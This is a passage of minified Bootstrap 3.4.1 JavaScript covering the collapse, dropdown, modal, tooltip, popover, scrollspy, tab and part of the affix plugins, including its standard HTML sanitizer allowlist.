i=t(this),r=i.data("bs.collapse"),o=t.extend({},e.DEFAULTS,i.data(),"object"==typeof n&&n);!r&&o.toggle&&/show|hide/.test(n)&&(o.toggle=!1),r||i.data("bs.collapse",r=new e(this,o)),"string"==typeof n&&r[n]()}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=350,e.DEFAULTS={toggle:!0},e.prototype.dimension=function(){return this.$element.hasClass("width")?"width":"height"},e.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var n,r=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(r&&r.length&&(n=r.data("bs.collapse"))&&n.transitioning)){var o=t.Event("show.bs.collapse");if(this.$element.trigger(o),!o.isDefaultPrevented()){r&&r.length&&(i.call(r,"hide"),n||r.data("bs.collapse",null));var a=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[a](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var s=function(){this.$element.removeClass("collapsing").addClass("collapse in")[a](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!t.support.transition)return s.call(this);var l=t.camelCase(["scroll",a].join("-"));this.$element.one("bsTransitionEnd",t.proxy(s,this)).emulateTransitionEnd(e.TRANSITION_DURATION)[a](this.$element[0][l])}}}},e.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var n=t.Event("hide.bs.collapse");if(this.$element.trigger(n),!n.isDefaultPrevented()){var i=this.dimension();this.$element[i](this.$element[i]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var r=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};if(!t.support.transition)return r.call(this);this.$element[i](0).one("bsTransitionEnd",t.proxy(r,this)).emulateTransitionEnd(e.TRANSITION_DURATION)}}},e.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},e.prototype.getParent=function(){return t(document).find(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(t.proxy((function(e,i){var r=t(i);this.addAriaAndCollapsedClass(n(r),r)}),this)).end()},e.prototype.addAriaAndCollapsedClass=function(t,e){var n=t.hasClass("in");t.attr("aria-expanded",n),e.toggleClass("collapsed",!n).attr("aria-expanded",n)};var r=t.fn.collapse;t.fn.collapse=i,t.fn.collapse.Constructor=e,t.fn.collapse.noConflict=function(){return t.fn.collapse=r,this},t(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',(function(e){var r=t(this);r.attr("data-target")||e.preventDefault();var o=n(r),a=o.data("bs.collapse")?"toggle":r.data();i.call(o,a)}))}(t),function(t){"use strict";var e='[data-toggle="dropdown"]',n=function(e){t(e).on("click.bs.dropdown",this.toggle)};function i(e){var n=e.attr("data-target");n||(n=(n=e.attr("href"))&&/#[A-Za-z]/.test(n)&&n.replace(/.*(?=#[^\s]*$)/,""));var i="#"!==n?t(document).find(n):null;return i&&i.length?i:e.parent()}function r(n){n&&3===n.which||(t(".dropdown-backdrop").remove(),t(e).each((function(){var e=t(this),r=i(e),o={relatedTarget:this};r.hasClass("open")&&(n&&"click"==n.type&&/input|textarea/i.test(n.target.tagName)&&t.contains(r[0],n.target)||(r.trigger(n=t.Event("hide.bs.dropdown",o)),n.isDefaultPrevented()||(e.attr("aria-expanded","false"),r.removeClass("open").trigger(t.Event("hidden.bs.dropdown",o)))))})))}n.VERSION="3.4.1",n.prototype.toggle=function(e){var n=t(this);if(!n.is(".disabled, :disabled")){var o=i(n),a=o.hasClass("open");if(r(),!a){"ontouchstart"in document.documentElement&&!o.closest(".navbar-nav").length&&t(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(t(this)).on("click",r);var s={relatedTarget:this};if(o.trigger(e=t.Event("show.bs.dropdown",s)),e.isDefaultPrevented())return;n.trigger("focus").attr("aria-expanded","true"),o.toggleClass("open").trigger(t.Event("shown.bs.dropdown",s))}return!1}},n.prototype.keydown=function(n){if(/(38|40|27|32)/.test(n.which)&&!/input|textarea/i.test(n.target.tagName)){var r=t(this);if(n.preventDefault(),n.stopPropagation(),!r.is(".disabled, :disabled")){var o=i(r),a=o.hasClass("open");if(!a&&27!=n.which||a&&27==n.which)return 27==n.which&&o.find(e).trigger("focus"),r.trigger("click");var s=o.find(".dropdown-menu li:not(.disabled):visible a");if(s.length){var l=s.index(n.target);38==n.which&&l>0&&l--,40==n.which&&l<s.length-1&&l++,~l||(l=0),s.eq(l).trigger("focus")}}}};var o=t.fn.dropdown;t.fn.dropdown=function(e){return this.each((function(){var i=t(this),r=i.data("bs.dropdown");r||i.data("bs.dropdown",r=new n(this)),"string"==typeof e&&r[e].call(i)}))},t.fn.dropdown.Constructor=n,t.fn.dropdown.noConflict=function(){return t.fn.dropdown=o,this},t(document).on("click.bs.dropdown.data-api",r).on("click.bs.dropdown.data-api",".dropdown form",(function(t){t.stopPropagation()})).on("click.bs.dropdown.data-api",e,n.prototype.toggle).on("keydown.bs.dropdown.data-api",e,n.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",n.prototype.keydown)}(t),function(t){"use strict";var e=function(e,n){this.options=n,this.$body=t(document.body),this.$element=t(e),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.fixedContent=".navbar-fixed-top, .navbar-fixed-bottom",this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,t.proxy((function(){this.$element.trigger("loaded.bs.modal")}),this))};function n(n,i){return this.each((function(){var r=t(this),o=r.data("bs.modal"),a=t.extend({},e.DEFAULTS,r.data(),"object"==typeof n&&n);o||r.data("bs.modal",o=new e(this,a)),"string"==typeof n?o[n](i):a.show&&o.show(i)}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=300,e.BACKDROP_TRANSITION_DURATION=150,e.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},e.prototype.toggle=function(t){return this.isShown?this.hide():this.show(t)},e.prototype.show=function(n){var i=this,r=t.Event("show.bs.modal",{relatedTarget:n});this.$element.trigger(r),this.isShown||r.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',t.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",(function(){i.$element.one("mouseup.dismiss.bs.modal",(function(e){t(e.target).is(i.$element)&&(i.ignoreBackdropClick=!0)}))})),this.backdrop((function(){var r=t.support.transition&&i.$element.hasClass("fade");i.$element.parent().length||i.$element.appendTo(i.$body),i.$element.show().scrollTop(0),i.adjustDialog(),r&&i.$element[0].offsetWidth,i.$element.addClass("in"),i.enforceFocus();var o=t.Event("shown.bs.modal",{relatedTarget:n});r?i.$dialog.one("bsTransitionEnd",(function(){i.$element.trigger("focus").trigger(o)})).emulateTransitionEnd(e.TRANSITION_DURATION):i.$element.trigger("focus").trigger(o)})))},e.prototype.hide=function(n){n&&n.preventDefault(),n=t.Event("hide.bs.modal"),this.$element.trigger(n),this.isShown&&!n.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),t(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),t.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",t.proxy(this.hideModal,this)).emulateTransitionEnd(e.TRANSITION_DURATION):this.hideModal())},e.prototype.enforceFocus=function(){t(document).off("focusin.bs.modal").on("focusin.bs.modal",t.proxy((function(t){document===t.target||this.$element[0]===t.target||this.$element.has(t.target).length||this.$element.trigger("focus")}),this))},e.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",t.proxy((function(t){27==t.which&&this.hide()}),this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},e.prototype.resize=function(){this.isShown?t(window).on("resize.bs.modal",t.proxy(this.handleUpdate,this)):t(window).off("resize.bs.modal")},e.prototype.hideModal=function(){var t=this;this.$element.hide(),this.backdrop((function(){t.$body.removeClass("modal-open"),t.resetAdjustments(),t.resetScrollbar(),t.$element.trigger("hidden.bs.modal")}))},e.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},e.prototype.backdrop=function(n){var i=this,r=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var o=t.support.transition&&r;if(this.$backdrop=t(document.createElement("div")).addClass("modal-backdrop "+r).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",t.proxy((function(t){this.ignoreBackdropClick?this.ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide())}),this)),o&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!n)return;o?this.$backdrop.one("bsTransitionEnd",n).emulateTransitionEnd(e.BACKDROP_TRANSITION_DURATION):n()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var a=function(){i.removeBackdrop(),n&&n()};t.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",a).emulateTransitionEnd(e.BACKDROP_TRANSITION_DURATION):a()}else n&&n()},e.prototype.handleUpdate=function(){this.adjustDialog()},e.prototype.adjustDialog=function(){var t=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&t?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!t?this.scrollbarWidth:""})},e.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},e.prototype.checkScrollbar=function(){var t=window.innerWidth;if(!t){var e=document.documentElement.getBoundingClientRect();t=e.right-Math.abs(e.left)}this.bodyIsOverflowing=document.body.clientWidth<t,this.scrollbarWidth=this.measureScrollbar()},e.prototype.setScrollbar=function(){var e=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"";var n=this.scrollbarWidth;this.bodyIsOverflowing&&(this.$body.css("padding-right",e+n),t(this.fixedContent).each((function(e,i){var r=i.style.paddingRight,o=t(i).css("padding-right");t(i).data("padding-right",r).css("padding-right",parseFloat(o)+n+"px")})))},e.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad),t(this.fixedContent).each((function(e,n){var i=t(n).data("padding-right");t(n).removeData("padding-right"),n.style.paddingRight=i||""}))},e.prototype.measureScrollbar=function(){var t=document.createElement("div");t.className="modal-scrollbar-measure",this.$body.append(t);var e=t.offsetWidth-t.clientWidth;return this.$body[0].removeChild(t),e};var i=t.fn.modal;t.fn.modal=n,t.fn.modal.Constructor=e,t.fn.modal.noConflict=function(){return t.fn.modal=i,this},t(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',(function(e){var i=t(this),r=i.attr("href"),o=i.attr("data-target")||r&&r.replace(/.*(?=#[^\s]+$)/,""),a=t(document).find(o),s=a.data("bs.modal")?"toggle":t.extend({remote:!/#/.test(r)&&r},a.data(),i.data());i.is("a")&&e.preventDefault(),a.one("show.bs.modal",(function(t){t.isDefaultPrevented()||a.one("hidden.bs.modal",(function(){i.is(":visible")&&i.trigger("focus")}))})),n.call(a,s,this)}))}(t),function(t){"use strict";var e=["sanitize","whiteList","sanitizeFn"],n=["background","cite","href","itemtype","longdesc","poster","src","xlink:href"],i={"*":["class","dir","id","lang","role",/^aria-[\w-]*$/i],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]},r=/^(?:(?:https?|mailto|ftp|tel|file):|[^&:/?#]*(?:[/?#]|$))/gi,o=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[a-z0-9+/]+=*$/i;function a(e,i){var a=e.nodeName.toLowerCase();if(-1!==t.inArray(a,i))return-1===t.inArray(a,n)||Boolean(e.nodeValue.match(r)||e.nodeValue.match(o));for(var s=t(i).filter((function(t,e){return e instanceof RegExp})),l=0,c=s.length;l<c;l++)if(a.match(s[l]))return!0;return!1}function s(e,n,i){if(0===e.length)return e;if(i&&"function"==typeof i)return i(e);if(!document.implementation||!document.implementation.createHTMLDocument)return e;var r=document.implementation.createHTMLDocument("sanitization");r.body.innerHTML=e;for(var o=t.map(n,(function(t,e){return e})),s=t(r.body).find("*"),l=0,c=s.length;l<c;l++){var u=s[l],d=u.nodeName.toLowerCase();if(-1!==t.inArray(d,o))for(var f=t.map(u.attributes,(function(t){return t})),h=[].concat(n["*"]||[],n[d]||[]),p=0,m=f.length;p<m;p++)a(f[p],h)||u.removeAttribute(f[p].nodeName);else u.parentNode.removeChild(u)}return r.body.innerHTML}var l=function(t,e){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",t,e)};l.VERSION="3.4.1",l.TRANSITION_DURATION=150,l.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0},sanitize:!0,sanitizeFn:null,whiteList:i},l.prototype.init=function(e,n,i){if(this.enabled=!0,this.type=e,this.$element=t(n),this.options=this.getOptions(i),this.$viewport=this.options.viewport&&t(document).find(t.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var r=this.options.trigger.split(" "),o=r.length;o--;){var a=r[o];if("click"==a)this.$element.on("click."+this.type,this.options.selector,t.proxy(this.toggle,this));else if("manual"!=a){var s="hover"==a?"mouseenter":"focusin",l="hover"==a?"mouseleave":"focusout";this.$element.on(s+"."+this.type,this.options.selector,t.proxy(this.enter,this)),this.$element.on(l+"."+this.type,this.options.selector,t.proxy(this.leave,this))}}this.options.selector?this._options=t.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},l.prototype.getDefaults=function(){return l.DEFAULTS},l.prototype.getOptions=function(n){var i=this.$element.data();for(var r in i)i.hasOwnProperty(r)&&-1!==t.inArray(r,e)&&delete i[r];return(n=t.extend({},this.getDefaults(),i,n)).delay&&"number"==typeof n.delay&&(n.delay={show:n.delay,hide:n.delay}),n.sanitize&&(n.template=s(n.template,n.whiteList,n.sanitizeFn)),n},l.prototype.getDelegateOptions=function(){var e={},n=this.getDefaults();return this._options&&t.each(this._options,(function(t,i){n[t]!=i&&(e[t]=i)})),e},l.prototype.enter=function(e){var n=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);if(n||(n=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,n)),e instanceof t.Event&&(n.inState["focusin"==e.type?"focus":"hover"]=!0),n.tip().hasClass("in")||"in"==n.hoverState)n.hoverState="in";else{if(clearTimeout(n.timeout),n.hoverState="in",!n.options.delay||!n.options.delay.show)return n.show();n.timeout=setTimeout((function(){"in"==n.hoverState&&n.show()}),n.options.delay.show)}},l.prototype.isInStateTrue=function(){for(var t in this.inState)if(this.inState[t])return!0;return!1},l.prototype.leave=function(e){var n=e instanceof this.constructor?e:t(e.currentTarget).data("bs."+this.type);if(n||(n=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,n)),e instanceof t.Event&&(n.inState["focusout"==e.type?"focus":"hover"]=!1),!n.isInStateTrue()){if(clearTimeout(n.timeout),n.hoverState="out",!n.options.delay||!n.options.delay.hide)return n.hide();n.timeout=setTimeout((function(){"out"==n.hoverState&&n.hide()}),n.options.delay.hide)}},l.prototype.show=function(){var e=t.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(e);var n=t.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(e.isDefaultPrevented()||!n)return;var i=this,r=this.tip(),o=this.getUID(this.type);this.setContent(),r.attr("id",o),this.$element.attr("aria-describedby",o),this.options.animation&&r.addClass("fade");var a="function"==typeof this.options.placement?this.options.placement.call(this,r[0],this.$element[0]):this.options.placement,s=/\s?auto?\s?/i,c=s.test(a);c&&(a=a.replace(s,"")||"top"),r.detach().css({top:0,left:0,display:"block"}).addClass(a).data("bs."+this.type,this),this.options.container?r.appendTo(t(document).find(this.options.container)):r.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var u=this.getPosition(),d=r[0].offsetWidth,f=r[0].offsetHeight;if(c){var h=a,p=this.getPosition(this.$viewport);a="bottom"==a&&u.bottom+f>p.bottom?"top":"top"==a&&u.top-f<p.top?"bottom":"right"==a&&u.right+d>p.width?"left":"left"==a&&u.left-d<p.left?"right":a,r.removeClass(h).addClass(a)}var m=this.getCalculatedOffset(a,u,d,f);this.applyPlacement(m,a);var g=function(){var t=i.hoverState;i.$element.trigger("shown.bs."+i.type),i.hoverState=null,"out"==t&&i.leave(i)};t.support.transition&&this.$tip.hasClass("fade")?r.one("bsTransitionEnd",g).emulateTransitionEnd(l.TRANSITION_DURATION):g()}},l.prototype.applyPlacement=function(e,n){var i=this.tip(),r=i[0].offsetWidth,o=i[0].offsetHeight,a=parseInt(i.css("margin-top"),10),s=parseInt(i.css("margin-left"),10);isNaN(a)&&(a=0),isNaN(s)&&(s=0),e.top+=a,e.left+=s,t.offset.setOffset(i[0],t.extend({using:function(t){i.css({top:Math.round(t.top),left:Math.round(t.left)})}},e),0),i.addClass("in");var l=i[0].offsetWidth,c=i[0].offsetHeight;"top"==n&&c!=o&&(e.top=e.top+o-c);var u=this.getViewportAdjustedDelta(n,e,l,c);u.left?e.left+=u.left:e.top+=u.top;var d=/top|bottom/.test(n),f=d?2*u.left-r+l:2*u.top-o+c,h=d?"offsetWidth":"offsetHeight";i.offset(e),this.replaceArrow(f,i[0][h],d)},l.prototype.replaceArrow=function(t,e,n){this.arrow().css(n?"left":"top",50*(1-t/e)+"%").css(n?"top":"left","")},l.prototype.setContent=function(){var t=this.tip(),e=this.getTitle();this.options.html?(this.options.sanitize&&(e=s(e,this.options.whiteList,this.options.sanitizeFn)),t.find(".tooltip-inner").html(e)):t.find(".tooltip-inner").text(e),t.removeClass("fade in top bottom left right")},l.prototype.hide=function(e){var n=this,i=t(this.$tip),r=t.Event("hide.bs."+this.type);function o(){"in"!=n.hoverState&&i.detach(),n.$element&&n.$element.removeAttr("aria-describedby").trigger("hidden.bs."+n.type),e&&e()}if(this.$element.trigger(r),!r.isDefaultPrevented())return i.removeClass("in"),t.support.transition&&i.hasClass("fade")?i.one("bsTransitionEnd",o).emulateTransitionEnd(l.TRANSITION_DURATION):o(),this.hoverState=null,this},l.prototype.fixTitle=function(){var t=this.$element;(t.attr("title")||"string"!=typeof t.attr("data-original-title"))&&t.attr("data-original-title",t.attr("title")||"").attr("title","")},l.prototype.hasContent=function(){return this.getTitle()},l.prototype.getPosition=function(e){var n=(e=e||this.$element)[0],i="BODY"==n.tagName,r=n.getBoundingClientRect();null==r.width&&(r=t.extend({},r,{width:r.right-r.left,height:r.bottom-r.top}));var o=window.SVGElement&&n instanceof window.SVGElement,a=i?{top:0,left:0}:o?null:e.offset(),s={scroll:i?document.documentElement.scrollTop||document.body.scrollTop:e.scrollTop()},l=i?{width:t(window).width(),height:t(window).height()}:null;return t.extend({},r,s,l,a)},l.prototype.getCalculatedOffset=function(t,e,n,i){return"bottom"==t?{top:e.top+e.height,left:e.left+e.width/2-n/2}:"top"==t?{top:e.top-i,left:e.left+e.width/2-n/2}:"left"==t?{top:e.top+e.height/2-i/2,left:e.left-n}:{top:e.top+e.height/2-i/2,left:e.left+e.width}},l.prototype.getViewportAdjustedDelta=function(t,e,n,i){var r={top:0,left:0};if(!this.$viewport)return r;var o=this.options.viewport&&this.options.viewport.padding||0,a=this.getPosition(this.$viewport);if(/right|left/.test(t)){var s=e.top-o-a.scroll,l=e.top+o-a.scroll+i;s<a.top?r.top=a.top-s:l>a.top+a.height&&(r.top=a.top+a.height-l)}else{var c=e.left-o,u=e.left+o+n;c<a.left?r.left=a.left-c:u>a.right&&(r.left=a.left+a.width-u)}return r},l.prototype.getTitle=function(){var t=this.$element,e=this.options;return t.attr("data-original-title")||("function"==typeof e.title?e.title.call(t[0]):e.title)},l.prototype.getUID=function(t){do{t+=~~(1e6*Math.random())}while(document.getElementById(t));return t},l.prototype.tip=function(){if(!this.$tip&&(this.$tip=t(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},l.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},l.prototype.enable=function(){this.enabled=!0},l.prototype.disable=function(){this.enabled=!1},l.prototype.toggleEnabled=function(){this.enabled=!this.enabled},l.prototype.toggle=function(e){var n=this;e&&((n=t(e.currentTarget).data("bs."+this.type))||(n=new this.constructor(e.currentTarget,this.getDelegateOptions()),t(e.currentTarget).data("bs."+this.type,n))),e?(n.inState.click=!n.inState.click,n.isInStateTrue()?n.enter(n):n.leave(n)):n.tip().hasClass("in")?n.leave(n):n.enter(n)},l.prototype.destroy=function(){var t=this;clearTimeout(this.timeout),this.hide((function(){t.$element.off("."+t.type).removeData("bs."+t.type),t.$tip&&t.$tip.detach(),t.$tip=null,t.$arrow=null,t.$viewport=null,t.$element=null}))},l.prototype.sanitizeHtml=function(t){return s(t,this.options.whiteList,this.options.sanitizeFn)};var c=t.fn.tooltip;t.fn.tooltip=function(e){return this.each((function(){var n=t(this),i=n.data("bs.tooltip"),r="object"==typeof e&&e;!i&&/destroy|hide/.test(e)||(i||n.data("bs.tooltip",i=new l(this,r)),"string"==typeof e&&i[e]())}))},t.fn.tooltip.Constructor=l,t.fn.tooltip.noConflict=function(){return t.fn.tooltip=c,this}}(t),function(t){"use strict";var e=function(t,e){this.init("popover",t,e)};if(!t.fn.tooltip)throw new Error("Popover requires tooltip.js");e.VERSION="3.4.1",e.DEFAULTS=t.extend({},t.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),(e.prototype=t.extend({},t.fn.tooltip.Constructor.prototype)).constructor=e,e.prototype.getDefaults=function(){return e.DEFAULTS},e.prototype.setContent=function(){var t=this.tip(),e=this.getTitle(),n=this.getContent();if(this.options.html){var i=typeof n;this.options.sanitize&&(e=this.sanitizeHtml(e),"string"===i&&(n=this.sanitizeHtml(n))),t.find(".popover-title").html(e),t.find(".popover-content").children().detach().end()["string"===i?"html":"append"](n)}else t.find(".popover-title").text(e),t.find(".popover-content").children().detach().end().text(n);t.removeClass("fade top bottom left right in"),t.find(".popover-title").html()||t.find(".popover-title").hide()},e.prototype.hasContent=function(){return this.getTitle()||this.getContent()},e.prototype.getContent=function(){var t=this.$element,e=this.options;return t.attr("data-content")||("function"==typeof e.content?e.content.call(t[0]):e.content)},e.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var n=t.fn.popover;t.fn.popover=function(n){return this.each((function(){var i=t(this),r=i.data("bs.popover"),o="object"==typeof n&&n;!r&&/destroy|hide/.test(n)||(r||i.data("bs.popover",r=new e(this,o)),"string"==typeof n&&r[n]())}))},t.fn.popover.Constructor=e,t.fn.popover.noConflict=function(){return t.fn.popover=n,this}}(t),function(t){"use strict";function e(n,i){this.$body=t(document.body),this.$scrollElement=t(n).is(document.body)?t(window):t(n),this.options=t.extend({},e.DEFAULTS,i),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",t.proxy(this.process,this)),this.refresh(),this.process()}function n(n){return this.each((function(){var i=t(this),r=i.data("bs.scrollspy"),o="object"==typeof n&&n;r||i.data("bs.scrollspy",r=new e(this,o)),"string"==typeof n&&r[n]()}))}e.VERSION="3.4.1",e.DEFAULTS={offset:10},e.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},e.prototype.refresh=function(){var e=this,n="offset",i=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),t.isWindow(this.$scrollElement[0])||(n="position",i=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map((function(){var e=t(this),r=e.data("target")||e.attr("href"),o=/^#./.test(r)&&t(r);return o&&o.length&&o.is(":visible")&&[[o[n]().top+i,r]]||null})).sort((function(t,e){return t[0]-e[0]})).each((function(){e.offsets.push(this[0]),e.targets.push(this[1])}))},e.prototype.process=function(){var t,e=this.$scrollElement.scrollTop()+this.options.offset,n=this.getScrollHeight(),i=this.options.offset+n-this.$scrollElement.height(),r=this.offsets,o=this.targets,a=this.activeTarget;if(this.scrollHeight!=n&&this.refresh(),e>=i)return a!=(t=o[o.length-1])&&this.activate(t);if(a&&e<r[0])return this.activeTarget=null,this.clear();for(t=r.length;t--;)a!=o[t]&&e>=r[t]&&(void 0===r[t+1]||e<r[t+1])&&this.activate(o[t])},e.prototype.activate=function(e){this.activeTarget=e,this.clear();var n=this.selector+'[data-target="'+e+'"],'+this.selector+'[href="'+e+'"]',i=t(n).parents("li").addClass("active");i.parent(".dropdown-menu").length&&(i=i.closest("li.dropdown").addClass("active")),i.trigger("activate.bs.scrollspy")},e.prototype.clear=function(){t(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var i=t.fn.scrollspy;t.fn.scrollspy=n,t.fn.scrollspy.Constructor=e,t.fn.scrollspy.noConflict=function(){return t.fn.scrollspy=i,this},t(window).on("load.bs.scrollspy.data-api",(function(){t('[data-spy="scroll"]').each((function(){var e=t(this);n.call(e,e.data())}))}))}(t),function(t){"use strict";var e=function(e){this.element=t(e)};function n(n){return this.each((function(){var i=t(this),r=i.data("bs.tab");r||i.data("bs.tab",r=new e(this)),"string"==typeof n&&r[n]()}))}e.VERSION="3.4.1",e.TRANSITION_DURATION=150,e.prototype.show=function(){var e=this.element,n=e.closest("ul:not(.dropdown-menu)"),i=e.data("target");if(i||(i=(i=e.attr("href"))&&i.replace(/.*(?=#[^\s]*$)/,"")),!e.parent("li").hasClass("active")){var r=n.find(".active:last a"),o=t.Event("hide.bs.tab",{relatedTarget:e[0]}),a=t.Event("show.bs.tab",{relatedTarget:r[0]});if(r.trigger(o),e.trigger(a),!a.isDefaultPrevented()&&!o.isDefaultPrevented()){var s=t(document).find(i);this.activate(e.closest("li"),n),this.activate(s,s.parent(),(function(){r.trigger({type:"hidden.bs.tab",relatedTarget:e[0]}),e.trigger({type:"shown.bs.tab",relatedTarget:r[0]})}))}}},e.prototype.activate=function(n,i,r){var o=i.find("> .active"),a=r&&t.support.transition&&(o.length&&o.hasClass("fade")||!!i.find("> .fade").length);function s(){o.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),n.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),a?(n[0].offsetWidth,n.addClass("in")):n.removeClass("fade"),n.parent(".dropdown-menu").length&&n.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),r&&r()}o.length&&a?o.one("bsTransitionEnd",s).emulateTransitionEnd(e.TRANSITION_DURATION):s(),o.removeClass("in")};var i=t.fn.tab;t.fn.tab=n,t.fn.tab.Constructor=e,t.fn.tab.noConflict=function(){return t.fn.tab=i,this};var r=function(e){e.preventDefault(),n.call(t(this),"show")};t(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',r).on("click.bs.tab.data-api",'[data-toggle="pill"]',r)}(t),function(t){"use strict";var e=function(n,i){this.options=t.extend({},e.DEFAULTS,i);var r=this.options.target===e.DEFAULTS.target?t(this.options.target):t(document).find(this.options.target);this.$target=r.on("scroll.bs.affix.data-api",t.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",t.proxy(this.checkPositionWithEventLoop,this)),this.$element=t(n),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};function n(n){return this.each((function(){var i=t(this),r=i.data("bs.affix"),o="object"==typeof n&&n;r||i.data("bs.affix",r=new e(this,o)),"string"==typeof n&&r[n]()}))}e.VERSION="3.4.1",e.RESET="affix affix-top affix-bottom",e.DEFAULTS={offset:0,target:window},e.prototype.getState=function(t,e,n,i){var r=this.$target.scrollTop(),o=this.$element.offset(),a=this.$target.height();if(null!=n&&"top"==this.affixed)return r<n&&"top";if("bottom"==this.affixed)return null!=n?!(r+this.unpin<=o.top)&&"bottom":!(r+a<=t-i)&&"bottom";var s=null==this.affixed,l=s?r:o.top;return null!=n&&r<=n?"top":null!=i&&l+(s?a:e)>=t-i&&"bottom"},e.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(e.RESET).addClass("affix");var t=this.$target.scrollTop(),n=this.$element.offset();return this.pinnedOffset=n.top-t},e.prototype.checkPositionWithEventLoop=function(){setTimeout(t.proxy(this.checkPosition,this),1)},e.prototype.checkPosition=function(){if(this.$element.is(":visible")){var 